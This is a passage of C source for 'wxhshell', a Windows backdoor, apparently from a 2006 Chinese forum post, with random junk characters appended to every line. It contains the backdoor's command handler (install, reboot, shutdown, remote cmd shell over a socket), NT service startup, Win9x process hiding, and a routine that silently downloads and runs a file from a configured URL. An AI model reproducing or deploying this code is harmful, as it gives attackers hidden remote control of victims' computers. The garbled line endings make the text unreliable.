      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7VMvF/ap]u  
    break; u86"Y ^d#  
  } xKQ+{"?-^g  
  // 安装 m|=H#  
  case 'i': { q{t*34R  
    if(Install()) NX|v=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [k6nW:C  
    else d/ bEt&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mnmP<<8C,  
    break; =$nB/K,8AX  
    } .G+Pe'4a  
  // 卸载 M@?xa/E64  
  case 'r': { M#~Cc~oT  
    if(Uninstall()) w:?oTuw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :,J}z~I,lB  
    else agjv{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [1F* bI  
    break; 'ow.=1N-  
    } Yc,7tUz#  
  // 显示 wxhshell 所在路径 Y7vA`kjD-C  
  case 'p': { Sh?4r i@:  
    char svExeFile[MAX_PATH]; _cc#Qlw 7  
    strcpy(svExeFile,"\n\r"); s VJ!FC  
      strcat(svExeFile,ExeFile); ~-PjW#J%  
        send(wsh,svExeFile,strlen(svExeFile),0); :cGt#d6  
    break; {K9/H qH  
    } ;_^fk&+  
  // 重启 |b-]n"}c>  
  case 'b': { co9 .wB@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G.( mp<-  
    if(Boot(REBOOT)) |37 g ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K91)qI;BD  
    else { P&b19K'  
    closesocket(wsh); e_/b2"{  
    ExitThread(0); j{NNSi3  
    } /Wy.>YC|  
    break; 'Er:a?88l  
    } #*TEq  
  // 关机 `;>= '"O!\  
  case 'd': { s 1e:v+B]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RLSc+kDH_  
    if(Boot(SHUTDOWN)) oI.G-ChP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l'\pk<V  
    else { lKlU-4  
    closesocket(wsh); PSPmO'C+  
    ExitThread(0); Er{#ziN+  
    } \[jq4`\$  
    break; D5:{fWVsV/  
    } 7}vg.hmZ  
  // 获取shell s%2v3eb  
  case 's': { L3n_ 5|  
    CmdShell(wsh); *&d<yJM`b  
    closesocket(wsh); (ZY@$''  
    ExitThread(0); %/YcL6o(  
    break; j%y$_9a7  
  } 6$ Gep  
  // 退出 40|,*wi  
  case 'x': { <x&%~6j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Tp0bS  
    CloseIt(wsh); 5cEcTJL[C  
    break; Y_]De3:V0B  
    } 1!.(4gV  
  // 离开 k iRa+w:  
  case 'q': { CYKr\DA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jiYmb8Q4D  
    closesocket(wsh); ZKXo-~=>  
    WSACleanup(); !>>f(t4  
    exit(1); .VkbYK  
    break; cKn`/\.H  
        } 'w14sr%  
  } 1*dRK6  
  } 7{xh8#m  
k<cgO[m   
  // 提示信息 L*Me."*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /__PSK  
} ^k Cn*&  
  } aM{xdTYaU  
&m[Qn!>i6  
  return; *b xzCI7b  
} > ]8a3x  
%/>Y/!;  
// shell模块句柄 9 JWa$iBH@  
int CmdShell(SOCKET sock) Rcawc Y  
{ JXw^/Y$  
STARTUPINFO si; ~j-cS J3  
ZeroMemory(&si,sizeof(si)); !H2QjW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +Y V|ij  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yB3;  
PROCESS_INFORMATION ProcessInfo; l/Vo-#  
char cmdline[]="cmd"; @]![o %  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bcAvM;  
  return 0; \'M3|w`f  
} ]r-C1bKD`  
11,!XD*"  
// 自身启动模式 JKX_q&bUw  
int StartFromService(void) ;r6jx"i  
{ D)@YI.T  
typedef struct Vp<seO;7o  
{ JICawj:I  
  DWORD ExitStatus; meCC?YAB  
  DWORD PebBaseAddress; fd#j Y}  
  DWORD AffinityMask; e4G4GZH8  
  DWORD BasePriority; '*Almv{  
  ULONG UniqueProcessId; YOrrkbJ(  
  ULONG InheritedFromUniqueProcessId; E7Ulnvd  
}   PROCESS_BASIC_INFORMATION; 8kbY+W%n  
g/&T[FOr  
PROCNTQSIP NtQueryInformationProcess; t!2(7=P30(  
Vf`7V$sr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Iu{kPyx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XTd3|Pm  
I"1;|`L~:  
  HANDLE             hProcess; @&"Pci+-|  
  PROCESS_BASIC_INFORMATION pbi; jM&r{^(  
E( h<$w8s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TI !a)X  
  if(NULL == hInst ) return 0; |TE}`?y[g  
gh>>Ibf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1lsLJ4P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IQ!\w-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gaf$uT2  
@A+RVg*=  
  if (!NtQueryInformationProcess) return 0; \V>?Do7  
+`sv91c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gt\MS;jMa  
  if(!hProcess) return 0; :d8W +|1u  
a,o_`s<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {,cCEXag%  
k/03ZxC-  
  CloseHandle(hProcess); jt@SZI`  
< F )_!0C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )9S>Z ZF  
if(hProcess==NULL) return 0; }@+NN ?P  
q\rC5gk >  
HMODULE hMod; #XnPsU<J  
char procName[255]; Q`#4W3-,  
unsigned long cbNeeded; 2Sq_Tw3^  
j Y6MjZI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n9;;x%6.I  
TM8 =U-A  
  CloseHandle(hProcess); huudBc A[  
5`]UE7gT  
if(strstr(procName,"services")) return 1; // 以服务启动 nr)c!8  
p7ir*r/2  
  return 0; // 注册表启动 c>1RP5vx  
} ZvGgmLN  
\]9.zlB  
// 主模块 !m(4F(!"h  
int StartWxhshell(LPSTR lpCmdLine) ]hud4i~  
{ `p'Q7m2y/b  
  SOCKET wsl; 7n o5b] \  
BOOL val=TRUE; XM<KF &pVB  
  int port=0; x"4} isp<  
  struct sockaddr_in door; __@zTSVb  
<} jPXEB"  
  if(wscfg.ws_autoins) Install(); =H8 xSJLh  
4gSH(*}  
port=atoi(lpCmdLine); ICB~_O5  
[~\PQYm'  
if(port<=0) port=wscfg.ws_port; CU:o*;jP  
:y2p@#l#  
  WSADATA data; +uWYK9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UwY-7Mmo  
8SmnMt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hSGb-$~F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Og%U  
  door.sin_family = AF_INET; *[eL~oN.c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  ySbqnw'  
  door.sin_port = htons(port); W2;N<[wa<u  
f&4,?E;6%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Lz DI0a.  
closesocket(wsl); ];+#i"l  
return 1; 65,(4Udz!  
} J wmT /  
)U:2z-X&e  
  if(listen(wsl,2) == INVALID_SOCKET) { ]ALc;lb-}  
closesocket(wsl); QFPfIb/  
return 1; O;HY%  
} GO! uwo:  
  Wxhshell(wsl); N:VX!w  
  WSACleanup(); W YW|P2*  
o$.e^XL  
return 0; r,(e t  
nsb4S {  
} I1U7.CT  
@OV-KT[>  
// 以NT服务方式启动 utlpY1#q/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r' BAT3  
{ 'j%F]CK  
DWORD   status = 0; #kkY@k$4  
  DWORD   specificError = 0xfffffff; RE3Z%;'  
XH7xT@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BsZ{|,oQnZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;oH ,~|K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9H]_4?aX  
  serviceStatus.dwWin32ExitCode     = 0; D~K;~nI  
  serviceStatus.dwServiceSpecificExitCode = 0; Ap\AP{S4  
  serviceStatus.dwCheckPoint       = 0; rAQF9O[  
  serviceStatus.dwWaitHint       = 0; ,%#   
,}D}oo*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Uf*EJ1Ei  
  if (hServiceStatusHandle==0) return; n,M)oo1G  
3UUGblg`~  
status = GetLastError(); L3(^{W]|  
  if (status!=NO_ERROR) 1+y"i<3)  
{ Zt3}Z4d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mV9A{h  
    serviceStatus.dwCheckPoint       = 0; K,xW6DiH  
    serviceStatus.dwWaitHint       = 0; ~<qt%W?  
    serviceStatus.dwWin32ExitCode     = status; C.!_]Pxs  
    serviceStatus.dwServiceSpecificExitCode = specificError; ALd;$fd qf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \'?#i @O  
    return; oh#N 0 0X  
  } &ogt2<1W  
]"fsW 9s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &B{8uge1  
  serviceStatus.dwCheckPoint       = 0; |`yZIY_  
  serviceStatus.dwWaitHint       = 0; +$z]w(lbT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t@bt6J .{  
} `BZ&~vJ_  
 ZC^C  
// 处理NT服务事件,比如:启动、停止 }UyQ#U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3mt%!}S  
{ 6\d X  
switch(fdwControl) )E7 FA|  
{ T9y;OG  
case SERVICE_CONTROL_STOP: ZX`J8lZP  
  serviceStatus.dwWin32ExitCode = 0; M"^K 0 .  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yfjXqn[Z4  
  serviceStatus.dwCheckPoint   = 0; QYE7p\  
  serviceStatus.dwWaitHint     = 0; WN a0,  
  { ek-!b!iI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t]_S  
  } eQX`,9:5  
  return; ,35&G"JK5  
case SERVICE_CONTROL_PAUSE: @y~P&HUN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eTE2J~\  
  break; P]<= ! F  
case SERVICE_CONTROL_CONTINUE: Sg*0[a3z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0??Yr  
  break; [!*xO?yCJ  
case SERVICE_CONTROL_INTERROGATE: $.e)  
  break; %I4zQiJ%  
}; q@#BPu"\l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L0h G  
} 1-;?0en&0  
\x\.  
// 标准应用程序主函数 uVU`tDzd:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) udqge?Tz  
{ aSnp/g  
m24v@?*  
// 获取操作系统版本 +GNWF% zN  
OsIsNt=GetOsVer(); $G?(OWI}l`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %|Hp Bs#'  
,=w!vO5s  
  // 从命令行安装 jD< pIHau  
  if(strpbrk(lpCmdLine,"iI")) Install(); H"YL k  
j64 4V|z  
  // 下载执行文件 $@[)nvV\  
if(wscfg.ws_downexe) { }~enEZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %JoxYy-  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xza4iV  
} w{7 ji}  
jqoPLbxT  
if(!OsIsNt) { m3 IP7h'  
// 如果时win9x,隐藏进程并且设置为注册表启动 !QC<n/  
HideProc(); u35q,u=I  
StartWxhshell(lpCmdLine); 0o/B{|rv  
} [QEwK|!L  
else EnCU4CU`  
  if(StartFromService()) K r3];(w{  
  // 以服务方式启动 CI^|k/  
  StartServiceCtrlDispatcher(DispatchTable); B\<ydN  
else a?<?5   
  // 普通方式启动 @!H '+c  
  StartWxhshell(lpCmdLine); ;~tsF.=  
xUj2 ]Q>R+  
return 0; N~#D\X^t.  
}
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只看该作者 1 发表于: 2006-10-10
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